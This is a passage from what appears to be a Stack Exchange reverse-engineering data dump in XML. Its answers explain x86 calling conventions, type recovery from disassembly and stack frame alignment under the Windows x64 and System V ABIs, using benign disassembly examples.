 LOCAL  DEFAULT    1 print_string&#xA;     5: 00000000006000ec     0 NOTYPE  LOCAL  DEFAULT    2 hello1&#xA;     6: 00000000006000f2     0 NOTYPE  LOCAL  DEFAULT    2 hello2&#xA;     7: 00000000004000b0     0 NOTYPE  GLOBAL DEFAULT    1 _start&#xA;     8: 00000000006000f8     0 NOTYPE  GLOBAL DEFAULT    2 __bss_start&#xA;     9: 00000000006000f8     0 NOTYPE  GLOBAL DEFAULT    2 _edata&#xA;    10: 00000000006000f8     0 NOTYPE  GLOBAL DEFAULT    2 _end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the differences between tracing an executable or shared object file in this case were what broke it.&lt;/p&gt;&#xA;" OwnerUserId="20126" LastEditorUserId="20126" LastEditDate="2017-06-21T16:47:16.860" LastActivityDate="2017-06-21T16:47:16.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15619" PostTypeId="2" ParentId="14968" CreationDate="2017-06-21T05:35:16.737" Score="0" Body="&lt;p&gt;Definitely, this file would not be executed on new'ish platforms, but could be accepted on some older ones (which ones/vendors would be an interesting trivia to research), per &lt;a href=&quot;https://android.googlesource.com/platform/art/+/master/runtime/dex_file.cc&quot; rel=&quot;nofollow noreferrer&quot;&gt;this comment in dex_file.cc&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;// Dex version 036 skipped because of an old dalvik bug on some&#xA;  versions of android where dex // files with that version number would&#xA;  erroneously be accepted and run.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1314" LastActivityDate="2017-06-21T05:35:16.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15621" PostTypeId="2" ParentId="15391" CreationDate="2017-06-21T21:40:18.407" Score="4" Body="&lt;h1&gt;The basics&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Requisite information: calling convention&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to determine how arguments are passed to functions, the calling convention must be known.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Function calling conventions depend on the target architecture and the compiler&lt;sup&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Calling_convention&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; (see also: &lt;a href=&quot;http://agner.org/optimize/calling_conventions.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Calling conventions for different C++ compilers and operating systems&lt;/a&gt; by Agner Fog). It is not so important that the compiler used to create the code being disassembled above is not explicitly stated because there is enough information in the output to determine target architecture and calling convention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the disassembly above, we observe that the instruction set is &lt;code&gt;x86&lt;/code&gt;, and the calling convention is &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;cdecl&lt;/code&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Identifying the calling convention&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case we can deduce the calling convention from the above disassembly.  We observe behavior that conforms to what is expected of &lt;em&gt;callee&lt;/em&gt; functions in terms of saving and restoring registers according to the &lt;code&gt;cdecl&lt;/code&gt; convention:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;080a9e61 &amp;lt;toplevel_fnc&amp;gt;:&#xA; 80a9e61:   55                      push   %ebp&#xA; 80a9e62:   89 e5                   mov    %esp,%ebp&#xA; 80a9e64:   57                      push   %edi         &#xA; 80a9e65:   56                      push   %esi         &#xA; 80a9e66:   53                      push   %ebx         &#xA; 80a9e67:   83 ec 20                sub    $0x20,%esp&#xA;    .&#xA;    .&#xA;    .&#xA; 80a9eff:   83 c4 20                add    $0x20,%esp&#xA; 80a9f02:   5b                      pop    %ebx&#xA; 80a9f03:   5e                      pop    %esi&#xA; 80a9f04:   5f                      pop    %edi&#xA; 80a9f05:   5d                      pop    %ebp&#xA; 80a9f06:   c3                      ret  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;080a9dfc &amp;lt;subroutine_fnc&amp;gt;:&#xA; 80a9dfc:   55                      push   %ebp&#xA; 80a9dfd:   89 e5                   mov    %esp,%ebp&#xA; 80a9dff:   57                      push   %edi&#xA; 80a9e00:   56                      push   %esi&#xA; 80a9e01:   53                      push   %ebx&#xA; 80a9e02:   83 ec 14                sub    $0x14,%esp&#xA;    .&#xA;    .&#xA;    .&#xA; 80a9e59:   83 c4 14                add    $0x14,%esp&#xA; 80a9e5c:   5b                      pop    %ebx&#xA; 80a9e5d:   5e                      pop    %esi&#xA; 80a9e5e:   5f                      pop    %edi&#xA; 80a9e5f:   5d                      pop    %ebp&#xA; 80a9e60:   c3                      ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In both functions the conventional x86 function prologue is followed by saving the values in registers &lt;code&gt;%edi&lt;/code&gt;, &lt;code&gt;%esi&lt;/code&gt; and &lt;code&gt;%ebx&lt;/code&gt; on the stack. These registers are referred to as &lt;em&gt;callee-save&lt;/em&gt; registers (vs. &lt;em&gt;caller-save&lt;/em&gt; registers &lt;code&gt;%eax&lt;/code&gt;, &lt;code&gt;%ecx&lt;/code&gt; and &lt;code&gt;%edx&lt;/code&gt;). The previous values of these registers are then restored before &lt;code&gt;ret&lt;/code&gt; is executed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: the stack frame for function &lt;code&gt;&amp;lt;toplevel_fnc&amp;gt;&lt;/code&gt; is clearly aligned to a 16-byte boundary, indicating that GCC is probably the compiler used to generate the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Passing arguments to functions in &lt;code&gt;cdecl&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To make a subrouting call, the caller should:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;Before calling a subroutine, the caller should save the contents of certain registers that are designated caller-saved. The caller-saved registers are EAX, ECX, EDX. Since the called subroutine is allowed to modify these registers, if the caller relies on their values after the subroutine returns, the caller must push the values in these registers onto the stack (so they can be restore after the subroutine returns.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;To pass arguments to the subroutine, push them onto the stack before the call. The arguments should be pushed in inverted order (i.e. last  argument first)&lt;/strong&gt;. Since the stack grows down, the first  argument will be stored at the lowest address (this inversion of  arguments was historically used to allow functions to be passed a variable number of  arguments).&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;To call the subroutine, use the call instruction. This instruction places the return address on top of the arguments on the stack, and branches to the subroutine code. This invokes the subroutine, which should follow the callee rules below.&lt;sup&gt;&lt;a href=&quot;http://www.cs.virginia.edu/~evans/cs216/guides/x86.html#calling&quot; rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The arguments to be passed to &lt;code&gt;&amp;lt;subroutine_fnc&amp;gt;&lt;/code&gt; will be saved on the stack prior to the function being called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;080a9e61 &amp;lt;toplevel_fnc&amp;gt;:&#xA; 80a9e61:   55                      push   %ebp&#xA; 80a9e62:   89 e5                   mov    %esp,%ebp&#xA; 80a9e64:   57                      push   %edi&#xA; 80a9e65:   56                      push   %esi&#xA; 80a9e66:   53                      push   %ebx&#xA; 80a9e67:   83 ec 20                sub    $0x20,%esp         &#xA; 80a9e6a:   c6 45 f3 41             movb   $0x41,-0xd(%ebp)&#xA; 80a9e6e:   c7 44 24 04 0a 00 00    movl   $0xa,0x4(%esp)            &amp;lt;- arg 2&#xA; 80a9e75:   00 &#xA; 80a9e76:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)               &amp;lt;- arg 1&#xA; 80a9e7d:   e8 7a ff ff ff          call   80a9dfc &amp;lt;subroutine_fnc&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I, in general, learn what arguments does &lt;code&gt;subroutine_fnc&lt;/code&gt; use?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In simple cases (no optimization), if the calling convention is known, there is a good chance the function arguments can be discovered.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The not so basics: &lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;optimization&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Let us examine disassembly of some object code produced from simple example source (see below) when &lt;code&gt;gcc&lt;/code&gt; is executed with the &lt;code&gt;-O3&lt;/code&gt; argument (maximum optimization):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;080482f0 &amp;lt;main&amp;gt;:&#xA; 80482f0:       b8 01 00 00 00          mov    $0x1,%eax&#xA; 80482f5:       c3                      ret&#xA;&#xA;080483f0 &amp;lt;function&amp;gt;:&#xA; 80483f0:       8b 44 24 08             mov    0x8(%esp),%eax&#xA; 80483f4:       03 44 24 04             add    0x4(%esp),%eax&#xA; 80483f8:       03 44 24 0c             add    0xc(%esp),%eax&#xA; 80483fc:       c3                      ret    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What are the arguments to &lt;code&gt;&amp;lt;main&amp;gt;&lt;/code&gt;? What are the arguments to &lt;code&gt;&amp;lt;function&amp;gt;&lt;/code&gt;? What is the relationship between these two functions, if any?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can see that quite a bit of information is simply not present in optimized code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference between the optimized object code and unoptimized object code is huge. Unoptimized  assembly of the source can be found here: &lt;a href=&quot;https://godbolt.org/g/HS57Wp&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://godbolt.org/g/HS57Wp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the source code (try to guess what is going on, then move the mouse cursor over the block below):&lt;/p&gt;&#xA;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;  &lt;p&gt;     &lt;code&gt;int function(int a, int b, int c);     //prototype&#xA;&#xA;     int main(void)&#xA;     {&#xA;             int a = 1;&#xA;             int b = 2;&#xA;             int c = 3;&#xA;             int k = function(a, b, c);&#xA;             return k / 6;&#xA;     }&lt;br&gt;&#xA;     int function(int a, int b, int c)&#xA;     {&#xA;             return a + b + c;&#xA;     }&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As we can see from the very simple example above, optimization throws the calling convention out the window, leaving one hard-pressed to figure out what is really happening in the code. In the optimized code, there was no &lt;code&gt;call&lt;/code&gt; intruction in &lt;code&gt;&amp;lt;main&amp;gt;&lt;/code&gt;, which makes argument identification rather difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More discussion of this can be found here: &lt;a href=&quot;https://stackoverflow.com/questions/41212726/how-many-arguments-are-passed-in-a-function-call&quot;&gt;How many arguments are passed in a function call?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The even less basics: variable type recovery&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How to figure out method argument sizes and types in elf32-i386 disasembly?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Deducing function argument types from disassembly of object code is referred to as &lt;em&gt;type recovery&lt;/em&gt;, and is closely related to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/287/how-to-recover-variables-from-an-assembly-code&quot;&gt;&lt;em&gt;variable recovery&lt;/em&gt;&lt;/a&gt;. Both are difficult problems and the subject of research.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The notion of variables and types does not exist in object code. A variable name is a label that is given a memory address which corresponds to the data located at that address. While type information is necessary for the compiler to evaluate syntatical and semantic correctness of source code, object code that is executed directly by the CPU does not preserve this information (at least not directly). &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The type recovery task, which gives a high-level type to each variable, is more challenging. Type recovery is challenging because high-level types are typically thrown away by the compiler early on in the compilation process. Within the compiled code itself we have byte-addressable memory&#xA;  and registers. For example, if a variable is put into eax, it is easy to conclude that it is of a type compatible with 32-bit register, but difficult to infer high-level types such as signed integers, pointers, unions, and structures. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Current solutions to type recovery take either a dynamic&#xA;  approach, which results in poor program coverage, or use unprincipled heuristics, which often given incorrect results. Current static-based tools typically employ some knowledge about well-known function prototypes to infer parameters, and then use proprietary heuristics that seem to guess the type of remaining variables such as locals. &lt;sup&gt;&lt;a href=&quot;https://users.ece.cmu.edu/~dbrumley/pdf/Lee,%20Avgerinos,%20Brumley_2011_TIE%20Principled%20Reverse%20Engineering%20of%20Types%20in%20Binary%20Programs.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Different decompilers take different approaches to this class of problems. Here is the approach taken by TIE (Type Inference on Executables):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7mTNY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7mTNY.png&quot; alt=&quot;TIE approach to type inference&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hex-rays discusses their approach in their whitepaper, &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/ppt/decompilers_and_beyond_white_paper.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Decompilers and beyond&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;1. &lt;a href=&quot;https://en.wikipedia.org/wiki/Calling_convention&quot; rel=&quot;nofollow noreferrer&quot;&gt;Calling convention&lt;/a&gt; (Wikipedia)&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;2. &lt;a href=&quot;http://www.cs.virginia.edu/~evans/cs216/guides/x86.html#calling&quot; rel=&quot;nofollow noreferrer&quot;&gt;x86 Assembly Guide&lt;/a&gt; (It should be noted that the term &quot;parameter&quot; is used incorrectly - it should be &quot;argument&quot;)&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;3. &lt;a href=&quot;https://users.ece.cmu.edu/~dbrumley/pdf/Lee,%20Avgerinos,%20Brumley_2011_TIE%20Principled%20Reverse%20Engineering%20of%20Types%20in%20Binary%20Programs.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;TIE: Principled Reverse Engineering of Types in Binary Programs&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-06-24T19:49:18.293" LastActivityDate="2017-06-24T19:49:18.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15624" PostTypeId="2" ParentId="15371" CreationDate="2017-06-22T02:38:37.317" Score="2" Body="&lt;h2&gt;The stack is for data storage, not code&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I figured it out. It looks like the sub statement is allocating space for the entire program rounded to the nearest qword. Program 1 requires only 0x17 bytes 23 bytes of code while program 2 requires 0x28 or 40 bytes of space.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is not correct: space on the stack is not allocated for a function's code (or any other kind of code). Instead, the stack is used as storage space for variables used by functions. When a function is called, a space on the stack called a &lt;em&gt;stack frame&lt;/em&gt; is created to accommodate the arguments passed to that function as well as local variables declared in the function. This space is created by decrementing the stack pointer, &lt;code&gt;%rsp&lt;/code&gt;. Here is a visual depiction of 2 stack frames:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BVrau.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BVrau.jpg&quot; alt=&quot;AMD64 caller and callee stack frames&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2 frames depicted here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the &lt;em&gt;caller&lt;/em&gt; frame, which is the stack frame created for the function that has called the current function&lt;/li&gt;&#xA;&lt;li&gt;the &lt;em&gt;callee&lt;/em&gt; frame, which is the frame created for the currently executing function&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that code resides in a different region in the virtual memory address space than the stack (picture is of Win32 processes but applies to &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/image-format&quot; rel=&quot;nofollow noreferrer&quot;&gt;PE32+ process address space as well, except the address space is much larger&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/du1Fu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/du1Fu.png&quot; alt=&quot;PE32 layout in virtual memory&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Stack frames should be aligned to 16-byte boundaries&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to fully appreciate the situation, the full disassembly of both functions in question should be included, especially since in this case the disassembly is conveniently small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disassembly of &lt;code&gt;main()&lt;/code&gt; from prog1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000004015b0 &amp;lt;main&amp;gt;:&#xA;  4015b0:   55                      push   %rbp           // save caller's frame base address&#xA;  4015b1:   48 89 e5                mov    %rsp,%rbp      // current top of stack becomes base of caller's frame&#xA;  4015b4:   48 83 ec 20             sub    $0x20,%rsp     // allocate space for new stack frame&#xA;  4015b8:   e8 93 01 00 00          callq  401750 &amp;lt;__main&amp;gt;&#xA;  4015bd:   b8 00 00 00 00          mov    $0x0,%eax&#xA;  4015c2:   48 83 c4 20             add    $0x20,%rsp     // callee stack frame now out of scope&#xA;  4015c6:   5d                      pop    %rbp           // restore caller's base frame pointer&#xA;  4015c7:   c3                      retq   &#xA;  4015c8:   90                      nop&#xA;  4015c9:   90                      nop&#xA;  4015ca:   90                      nop&#xA;  4015cb:   90                      nop&#xA;  4015cc:   90                      nop&#xA;  4015cd:   90                      nop&#xA;  4015ce:   90                      nop&#xA;  4015cf:   90                      nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Full disassembly of &lt;code&gt;main()&lt;/code&gt; from prog2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000004015b0 &amp;lt;main&amp;gt;:&#xA;  4015b0:   55                      push   %rbp&#xA;  4015b1:   48 89 e5                mov    %rsp,%rbp&#xA;  4015b4:   48 83 ec 30             sub    $0x30,%rsp&#xA;  4015b8:   e8 a3 01 00 00          callq  401760 &amp;lt;__main&amp;gt;&#xA;  4015bd:   c7 45 fc 05 00 00 00    movl   $0x5,-0x4(%rbp)&#xA;  4015c4:   c7 45 f8 06 00 00 00    movl   $0x6,-0x8(%rbp)&#xA;  4015cb:   8b 55 fc                mov    -0x4(%rbp),%edx&#xA;  4015ce:   8b 45 f8                mov    -0x8(%rbp),%eax&#xA;  4015d1:   01 d0                   add    %edx,%eax&#xA;  4015d3:   48 83 c4 30             add    $0x30,%rsp&#xA;  4015d7:   5d                      pop    %rbp&#xA;  4015d8:   c3                      retq   &#xA;  4015d9:   90                      nop&#xA;  4015da:   90                      nop&#xA;  4015db:   90                      nop&#xA;  4015dc:   90                      nop&#xA;  4015dd:   90                      nop&#xA;  4015de:   90                      nop&#xA;  4015df:   90                      nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is unoptimized, which makes interpretation significantly easier and allows us to clearly discern the calling convention being followed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/function-types&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft's documentation on function types&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are basically two types of functions. A function that requires a stack frame is called a frame function. A function that does not require a stack frame is called a leaf function.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A frame function is a function that allocates stack space, calls other functions, saves nonvolatile registers, or uses exception handling. It also requires a function table entry. A frame function requires a prolog and an epilog. A frame function can dynamically allocate stack space and can employ a frame pointer. A frame function has the full capabilities of this calling standard at its disposal.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If a frame function does not call another function then it is not required to align the stack.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The functions above both call &lt;code&gt;__main&lt;/code&gt;, so they would be considered &lt;em&gt;frame functions&lt;/em&gt;. Thus, a stack frame is allocated for &lt;code&gt;main&lt;/code&gt; in both cases, as we can see from the disassembly above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/stack-allocation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft's documentation on stack allocation&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The stack will always be maintained 16-byte aligned, except within the prolog (for example, after the return address is pushed), and except where indicated in &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/function-types&quot; rel=&quot;nofollow noreferrer&quot;&gt;Function Types&lt;/a&gt; for a certain class of frame functions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This brings us to the original question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why does this program allocate 48 bytes instead of the 32 bytes from the first program?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is not easy to answer this directly. The short answer is stack frame alignment + vagaries of the compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The compiler is responsible for stack memory allocation&lt;/strong&gt; (except when &lt;code&gt;alloca&lt;/code&gt; is used at runtime to dynamically allocate memory on the stack, but that does not apply to the disassembly in question). It should be noted that in the disassembly of &lt;code&gt;main()&lt;/code&gt; in program 1, nothing is saved in the created stack frame (except &lt;code&gt;%rip&lt;/code&gt;, which gets pushed onto the stack 32-byte stack frame when &lt;code&gt;__main&lt;/code&gt; is called) but 32 bytes are allocated anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In program 2, &lt;code&gt;__main&lt;/code&gt; is also called, and in addition 2 4-byte integer values are written to the stack frame created for &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allocation of &quot;extra&quot; memory is commonly done by GCC - stack frames are not allocated as compactly as possible in 64-bit and 32-bit runtime environments. A clue as to why this is the case is provided in the &lt;a href=&quot;http://chamilo2.grenet.fr/inp/courses/ENSIMAG3MM1LDB/document/doc_abi_ia64.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;System V ABI AMD64 Architecture Processor Supplement Draft Version 0.99.7&lt;/a&gt; section 3.2.1 &quot;Registers and the Stack Frame&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BCsgH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BCsgH.png&quot; alt=&quot;SYS V AMD64 Stack Frame figure&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, the &quot;clue&quot; is the &quot;unspecified&quot; area in the current stack frame. This area is not discussed further in the AMD64 ABI, but it &lt;em&gt;is&lt;/em&gt; discussed in the &lt;a href=&quot;http://refspecs.linuxbase.org/elf/abi386-4.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;System V ABI, Intel386 Architecture Processor Supplement&lt;/a&gt; section 3 &quot;Low Level System Information&quot;, page 37:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Other areas depend on the compiler and the code being compiled. The standard calling sequence does not define a maximum stack frame size, nor does it restrict how a language system uses the &quot;unspecified&quot; area of the standard stack frame.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If this extends to AMD64 architecture as well, it means that memory can be allocated by the compiler in the area of a function's stack frame between the function stack frame base pointer &lt;code&gt;%rbp&lt;/code&gt; and the &quot;red zone&quot; in a way determined by the compiler itself, so long as the stack is properly aligned to a 16-byte boundary. In other words, memory allocation for this area is compiler-dependent. MSVC may allocate memory for this area of stack frames differently, for example. More specifically, a different compiler may not allocate 48 bytes for program 2's &lt;code&gt;main()&lt;/code&gt; function like GCC did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update (thank you to Igor Skochinksy for pointing this out):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The MS doc is not totally correct; leaf function is a function which does not call other functions (it's a leaf on the function call graph); it may or may not use a stack frame (in MS ABI it doesn't but that's not necessarily the case &lt;a href=&quot;http://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64&quot; rel=&quot;nofollow noreferrer&quot;&gt;elsewhere&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In addition to this, there are some important differences between the AMD64 ABI and the Windows x64 ABI:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Windows on x64 implements an ABI of its own, which is somewhat different from the AMD64 ABI...These are the main differences:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Only 4 integer/pointer arguments are passed in registers (rcx, rdx, r8, r9).&lt;/li&gt;&#xA;  &lt;li&gt;There is no concept of &quot;red zone&quot; whatsoever. In fact, the ABI explicitly states that the area beyond rsp is considered volatile and unsafe to use. The OS, debuggers or interrupt handlers may overwrite this area.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Instead, a &quot;register parameter area&quot; (also called &quot;home space&quot; sometimes) is provided by the caller in each stack frame. When a function is called, the last thing allocated on the stack before the return address is space for at least 4 registers (8 bytes each). This area is available for the callee's use without explicitly allocating it.&lt;/strong&gt; It's useful for variable argument functions as well as for debugging (providing known locations for parameters, while registers may be reused for other purposes). Although the area was originally conceived for spilling the 4 arguments passed in registers, these days the compiler uses it for other optimization purposes as well (for example, if the function needs less than 32 bytes of stack space for its local variables, this area may be used without touching rsp).&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All these points are important, but the reason I have added emphasis to the first sentence of point 3 is that it pertains specifically to our discussion of why space is allocated to stack frames the way they are by the compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;main()&lt;/code&gt; in program 1 has no locals or arguments passed to it, but it does indeed have a 32-byte (4 registers * 8 bytes) register parameter area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;main()&lt;/code&gt; in program 2 uses 8 bytes of space for locals, so 16 bytes of space is allocated for its stack frame plus the 32-byte register parameter area. 16 bytes are allocated for the local variables in order to maintain alignment to a 16-byte boundary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This accounts for the size difference between the stack frames created for &lt;code&gt;main()&lt;/code&gt; in program 1 and program 2.  &lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-06-22T15:26:27.853" LastActivityDate="2017-06-22T15:26:27.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15625" PostTypeId="2" ParentId="3953" CreationDate="2017-06-22T07:53:59.187" Score="0" Body="&lt;p&gt;After reading this excellent presentation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ewh.ieee.org/r5/denver/sscs/Presentations/2012_10_Agilent2.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ewh.ieee.org/r5/denver/sscs/Presentations/2012_10_Agilent2.pdf&lt;/a&gt; , &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a much better understanding of where all the modes come from and that their decoding might not be so utterly complex. A lot of the apparent complexity comes from sloppy terminology, different points of view and several names for the same thing, as I read in CCC-editor where many modes use the same decoder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Wavecom website there is a lot of information (CCCeditor), examples and I suspect even decoders, that can be downloaded for free. From the information on the Sigmira and Sorcerer websites, and also Wavecom which appears to be no longer active, I get the idea that the various decoders are some-how or some-where available, or built into the software as modules and that 